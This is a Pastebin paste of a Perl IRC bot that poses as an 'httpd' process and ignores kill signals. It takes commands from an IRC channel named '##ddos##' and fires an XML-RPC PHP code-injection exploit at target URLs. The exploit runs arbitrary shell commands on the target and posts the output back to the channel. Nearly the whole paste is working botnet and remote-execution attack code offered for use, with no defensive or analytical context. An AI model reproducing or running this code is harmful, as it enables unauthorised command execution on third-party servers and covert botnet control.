Advertisement
Guest User

Untitled

a guest
Jun 5th, 2010
245
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.62 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #####################################################################
  4.  
  5. ## ##
  6.  
  7. ## empix XML bot v.007 by eten - to xCaLiBuR ##
  8.  
  9. ## ##
  10.  
  11. #####################################################################
  12.  
  13. use IO::Socket::INET ;
  14.  
  15. use LWP::UserAgent;
  16.  
  17. use LWP::Simple;
  18.  
  19. use LWP 5.64;
  20.  
  21. use HTTP::Request::Common;
  22.  
  23. ########################### <<empixcrew>> ###########################
  24.  
  25. my($nick,$channel);
  26.  
  27. $nick ="[Xml]-";
  28.  
  29. $channel = "##ddos##";
  30.  
  31. ########################### <<empixcrew>> ###########################
  32.  
  33. %SIG = ('HUP','IGNORE','INT','IGNORE','PIPE','IGNORE','TERM','IGNORE');
  34.  
  35. sub randnick($){return "$_[0]" . int(rand(1)*100);}
  36.  
  37. sub send_msg($$){print $connection "PRIVMSG $channel :$_[0] $_[1]\r\n";}
  38.  
  39. ########################### <<empixcrew>> ###########################
  40.  
  41. my $processo = "/usr/sbin/httpd";
  42.  
  43. my $pid=fork;
  44.  
  45. exit if $pid;
  46.  
  47. $0="$processo"."\0"x16;
  48.  
  49. #--------Connection To The Server
  50.  
  51. $connection = IO::Socket::INET->new(PeerAddr=>"irc.merda.it",PeerPort=>"60001",Proto=>'tcp',Timeout=>'50') or die " ga bisa masuk $server\n";
  52.  
  53. print " siap menuju tkp bos ....\n\n";
  54.  
  55. ########################### <<empixcrew>> ###########################
  56.  
  57. print $connection "USER xml Jo * :<<empixcrew>>\r\n";
  58.  
  59. print $connection "NICK ".&randnick($nick)."\r\n";
  60.  
  61. ########################### <<empixcrew>> ###########################
  62.  
  63. while($response = <$connection>)
  64.  
  65. {
  66.  
  67. if($response =~ m/:(.*) 00(.*) (.*) :/)
  68.  
  69. {
  70.  
  71. print $connection "JOIN $channel\r\n";
  72.  
  73. }
  74.  
  75. if($response =~ m/^PING (.*?)$/gi)
  76.  
  77. {
  78.  
  79. print $connection "PONG ".$1."\r\n"; }
  80.  
  81. if($response =~ m/:!help/)
  82.  
  83. {
  84.  
  85. send_msg($channel,"4,1<<ALB>> : !hi target perintah");
  86.  
  87. }
  88.  
  89. if($response =~ m/:!hi\s+(.*?)\s+(.*)/)
  90.  
  91. {
  92.  
  93. my $url = $1;
  94.  
  95. my $cmd = $2;
  96.  
  97. &eten($url,$cmd);
  98.  
  99. }
  100.  
  101.  
  102.  
  103. sub links()
  104.  
  105. {
  106.  
  107. my @l;
  108.  
  109. my $link=$_[0];
  110.  
  111. my $host=$_[0];
  112.  
  113. my $hdir=$_[0];
  114.  
  115. $hdir=~s/(.*)\/[^\/]*$/\1/;
  116.  
  117. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  118.  
  119. $host.="/";
  120.  
  121. $link.="/";
  122.  
  123. $hdir.="/";
  124.  
  125. $host=~s/\/\//\//g;
  126.  
  127. $hdir=~s/\/\//\//g;
  128.  
  129. $link=~s/\/\//\//g;
  130.  
  131. push(@l,$link,$host,$hdir);
  132.  
  133. return @l;
  134.  
  135. }
  136.  
  137.  
  138.  
  139. sub geths(){
  140.  
  141. my $host=$_[0];
  142.  
  143. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  144.  
  145. return $host;
  146.  
  147. }
  148.  
  149.  
  150.  
  151. sub key(){
  152.  
  153. my $chiave=$_[0];
  154.  
  155. $chiave =~ s/ /\+/g;
  156.  
  157. $chiave =~ s/:/\%3A/g;
  158.  
  159. $chiave =~ s/\//\%2F/g;
  160.  
  161. $chiave =~ s/&/\%26/g;
  162.  
  163. $chiave =~ s/\"/\%22/g;
  164.  
  165. $chiave =~ s/,/\%2C/g;
  166.  
  167. $chiave =~ s/\\/\%5C/g;
  168.  
  169. return $chiave;
  170.  
  171. }
  172.  
  173.  
  174.  
  175. sub query(){
  176.  
  177. my $link =$_[0];
  178.  
  179. my $req=HTTP::Request->new(GET=>$link);
  180.  
  181. my $ua=LWP::UserAgent->new();
  182.  
  183. $ua->agent('Mozilla/5.0');
  184.  
  185. $ua->timeout(5);
  186.  
  187. my $response=$ua->request($req);
  188.  
  189. return $response->content;
  190.  
  191. }
  192.  
  193.  
  194.  
  195. sub eten() {
  196.  
  197. my $jed = $_[0];
  198.  
  199. my $dwa = $_[1];
  200.  
  201. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  202.  
  203. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  204.  
  205. $exploit .= "<methodName>test.method</methodName>";
  206.  
  207. $exploit .= "<params><param><value><name>',''));";
  208.  
  209. $exploit .= "echo'empix';echo`".$dwa."`;echo'crew';exit;/*</name></value></param></params></methodCall>";
  210.  
  211.  
  212.  
  213. my $response = $userAgent->request(POST $jed,
  214.  
  215. Content_Type => 'text/xml',
  216.  
  217. Content => $exploit);
  218.  
  219.  
  220.  
  221. if ($response->content =~ /empix(.*)crew/s) {
  222.  
  223. send_msg($channel,"4,1<<HASIL>>: 4,1 $1");
  224.  
  225. }
  226.  
  227.  
  228.  
  229.  
  230.  
  231. #print $response->error_as_HTML unless $response->is_success;
  232.  
  233. #print $response->as_string;
  234.  
  235. }}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement